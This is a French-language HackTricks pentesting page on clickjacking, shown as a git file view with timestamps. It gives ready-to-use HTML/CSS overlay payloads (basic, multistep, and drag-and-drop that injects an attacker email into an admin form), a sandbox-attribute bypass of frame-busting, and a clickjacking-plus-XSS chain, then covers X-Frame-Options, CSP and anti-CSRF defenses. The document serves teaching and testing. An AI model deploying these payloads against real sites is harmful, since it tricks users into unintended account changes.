hacktricks/pentesting-web/clickjacking.md

238 lines
14 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Qu'est-ce que le Clickjacking
Dans une attaque de clickjacking, un **utilisateur** est **trompé** pour **cliquer** sur un **élément** d'une page web qui est soit **invisible** soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non intentionnelles pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture d'identifiants ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits.
### Astuce de préremplissage de formulaires
Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
2020-10-13 11:29:54 +00:00
### Remplir un formulaire avec le glisser-déposer
2020-10-13 11:29:54 +00:00
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou le mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **glisser-déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2023-06-03 13:10:46 +00:00
### Charge utile de base
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Charge utile multistep
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Payload Drag\&Drop + Clic
#### English
```markdown
1. **Drag\&Drop + Click payload**: This technique involves creating a hidden iframe that covers the entire page or a specific element. The attacker then tricks the user into dragging and dropping a seemingly harmless object (e.g., an image) onto the hidden iframe. When the user tries to click on the object, they are actually clicking on a button or link that performs a malicious action, such as transferring funds or changing account settings.
```
#### French
```markdown
1. **Payload Drag\&Drop + Clic**: Cette technique consiste à créer un iframe caché qui recouvre l'ensemble de la page ou un élément spécifique. L'attaquant trompe ensuite l'utilisateur en le faisant glisser et déposer un objet en apparence inoffensif (par exemple, une image) sur l'iframe caché. Lorsque l'utilisateur essaie de cliquer sur l'objet, il clique en réalité sur un bouton ou un lien qui exécute une action malveillante, telle que le transfert de fonds ou la modification des paramètres du compte.
```
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\
Exemple:\
_Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **seul vous pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\
\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour **soumettre** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
## Stratégies pour Mitiger le Clickjacking
### Défenses Côté Client
Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking :
* S'assurer que la fenêtre de l'application est la fenêtre principale ou supérieure.
* Rendre tous les cadres visibles.
* Empêcher les clics sur les cadres invisibles.
* Détecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking.
Cependant, ces scripts de rupture de cadre peuvent être contournés :
* **Paramètres de Sécurité des Navigateurs :** Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou du manque de support JavaScript.
* **Attribut `sandbox` de l'iframe HTML5 :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il est la fenêtre supérieure, par exemple.
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Les valeurs `allow-forms` et `allow-scripts` permettent des actions dans l'iframe tout en désactivant la navigation de niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires telles que `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent indiquer quelles autorisations autoriser.
### Défenses côté serveur
#### X-Frame-Options
L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la légitimité du rendu d'une page dans un `<frame>` ou `<iframe>`, aidant à prévenir le Clickjacking :
- `X-Frame-Options: deny` - Aucun domaine ne peut encadrer le contenu.
- `X-Frame-Options: sameorigin` - Seul le site actuel peut encadrer le contenu.
- `X-Frame-Options: allow-from https://trusted.com` - Seul l'URI spécifié peut encadrer la page.
- Notez les limitations : si le navigateur ne prend pas en charge cette directive, cela pourrait ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.
#### Directive frame-ancestors de la stratégie de sécurité du contenu (CSP)
La directive **`frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking :
- `frame-ancestors 'none'` - Similaire à `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Similaire à `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Similaire à `X-Frame-Options: allow-from`.
Par exemple, la CSP suivante autorise uniquement l'encadrement à partir du même domaine :
`Content-Security-Policy: frame-ancestors 'self';`
Des détails supplémentaires et des exemples complexes peuvent être trouvés dans la [documentation de la CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) et dans la [documentation de Mozilla sur la CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Politique de sécurité du contenu (CSP) avec `child-src` et `frame-src`
La **Politique de sécurité du contenu (CSP)** est une mesure de sécurité qui aide à prévenir le Clickjacking et d'autres attaques par injection de code en spécifiant les sources que le navigateur devrait autoriser à charger du contenu.
#### Directive `frame-src`
- Définit les sources valides pour les frames.
- Plus spécifique que la directive `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Ce paramètre autorise les frames de la même origine (self) et https://trusted-website.com.
#### Directive `child-src`
* Introduit dans CSP niveau 2 pour définir les sources valides pour les web workers et les frames.
* Agit comme une solution de secours pour frame-src et worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Cette politique permet les frames et les workers de la même origine (self) et de https://trusted-website.com.
**Notes d'utilisation:**
* Obsolescence: child-src est progressivement remplacé par frame-src et worker-src.
* Comportement de secours: Si frame-src est absent, child-src est utilisé comme secours pour les frames. Si les deux sont absents, default-src est utilisé.
* Définition stricte de la source: Inclure uniquement des sources de confiance dans les directives pour éviter l'exploitation.
#### Scripts JavaScript de rupture de frame
Bien que pas totalement infaillibles, des scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Utilisation des jetons anti-CSRF
* **Validation du jeton :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked.
2023-06-03 13:10:46 +00:00
## Références
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>